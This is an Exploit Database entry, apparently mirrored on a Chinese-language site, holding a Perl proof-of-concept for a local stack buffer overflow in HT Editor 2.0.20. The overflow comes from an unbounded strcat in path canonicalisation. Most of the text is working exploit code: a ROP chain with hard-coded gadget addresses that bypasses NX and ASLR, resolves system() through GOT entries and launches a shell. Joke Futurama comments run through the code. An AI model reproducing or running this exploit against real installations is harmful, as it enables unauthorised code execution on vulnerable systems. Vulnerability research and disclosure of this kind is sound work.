HT Editor 2.0.20 – Local Buffer Overflow (ROP)

• Exploit Database
• 38 阅读

• 作者： ZadYree
  日期： 2012-11-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/22683/

• #!/usr/bin/perl
  =head1 TITLE
  
  HT Editor 2.0.20 Buffer Overflow (ROP PoC)
  
  =head2 DESCRIPTION
  
  Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
  I consequently recoded an exploit, as memory addresses have changed. I chose to
  make it B<bypass NX & ASLR>, SSP not being implemented.
  To be honnest, it may be the only interest, as the binary is not SUID.
  
  Remove =begin ...annotation (at the end) to just print the command line.
  
  =head2 USAGE
  
  perl poc.pl /hte/path
  
  
  
  =head3 Code
  
  	int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
  	{
  		char *o = result;
  		if (!sys_path_is_absolute(filename, delim)) {
  			if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
  			int ol = strlen(o);
  			if (ol && !delim(o[ol-1])) {
  				o[ol] = '/';
  				o[ol+1] = 0;
  			}
  		} else *o = 0;
  		strcat(o, filename); //<-- And here it is, good old unsecure function
  		int k = flatten_path(o, delim);
  		return (k == 0) ? 0 : EINVAL;
  	}
  
  =head3 AUTHORS
  
   * ZadYree
   * 3LRVS crew
  
  =head3 Note
  
  The path variable (o) is also vulnerable through a strcpy() unsecure call.
  Hope developpers will mind correcting both 2.
  
  
  Voice on T.V.: Is today's hectic lifestyle making you tense and impatient?
  Bender: Shut up and get to the point! 
  =cut
  
  use 5.010;
  use Cwd;
  
  my $bin = shift;
  die "[-] Bad filename.\n" unless (-e $bin);
  
  # Let's now dive into
  my $pool = [
  			## Fry: This snow is beautiful. I'm glad global warming never happened.##
  			## Leela: Actually, it did. But thank God nuclear winter canceled it out.##
  				pack('V', 0x80b395e), 		# pop %esi; ret;
  				pack('V', 0x81bd518), 		# endwin@GOT
  				pack('V', 0x80b5903), 		# mov %esi, %eax; pop pop pop ret;
  				pack('V', 0xb00b4dad) x 3, 	# JUNK
  				pack('V', 0x813527b), 		# mov (%eax), %eax; add $0x1c, %esp; ret;
  				pack('V', 0xabadf00d) x 7, 	# JUNK
  				pack('V', 0x813589b), 		# call *%eax;
  				
  			## 	Amy, technology isn't intrinsecly good or evil, it's how it's used, like the Death Ray. ##
  				pack('V', 0x80b395e), 		# pop %esi; ret;
  				pack('V', 0x81bd3fc), 		# __cxa_atexit@GOT - 4 // base address whose pointer will help locating system().
  				pack('V', 0x80b5903), 		# mov %esi, %eax; pop pop pop ret;
  				pack('V', 0xdeadbeef) x 3, 	# JUNK
  				pack('V', 0x80c21e6), 		# add %eax, $0x4; ret; // Beat my 8 bit metal ass.
  				pack('V', 0x813527b), 		# mov (%eax), %eax; add $0x1c, %esp; ret; // In the game of chess, you can never let your adversary see your pieces.
  				pack('V', 0xdeafface) x 7, 	# JUNK
  				pack('V', 0x80b395e), 		# pop %esi; ret;
  				pack('V', 0x292ceaab),	 	# A number to get the right 
  				pack('V', 0x80512a6), 		# add %esi, %eax; pop pop pop ret;
  				pack('V', 0xc0b4beef) x 3, 	# JUNK
  				pack('V', 0x80d4612), 		# sub eax, 0x292c4e8b ; ret; // I'm not sure. I'm afraid we need to use... MATH.
  				pack('V', 0x813589b), 		# call *%eax;
  				pack('V', 0x804aa10), 		# exit@plt
  				pack('V', 0x816928f), 		# 'sh' string
  ];
  
  =begin printPayload
  my $buff = '"A"x' . (4107 - length(getcwd));
  
  my $rop = join("", map {$_ = '\x' . unpack('H*', $_)} split(//, join("", @$pool)));
  
  my $payload = qq{`perl -e 'print $buff . "$rop";'`};
  
  say $bin . ' ' . $payload;
  __END__
  =end printPayload
  =cut
  
  say "[*] Executing system('sh')";
  
  my $buff = ("A" x (4107 - length(getcwd)));
  my $rop = join("", @$pool);
  system($bin, $buff . $rop);
  say "[+] Got Shell!";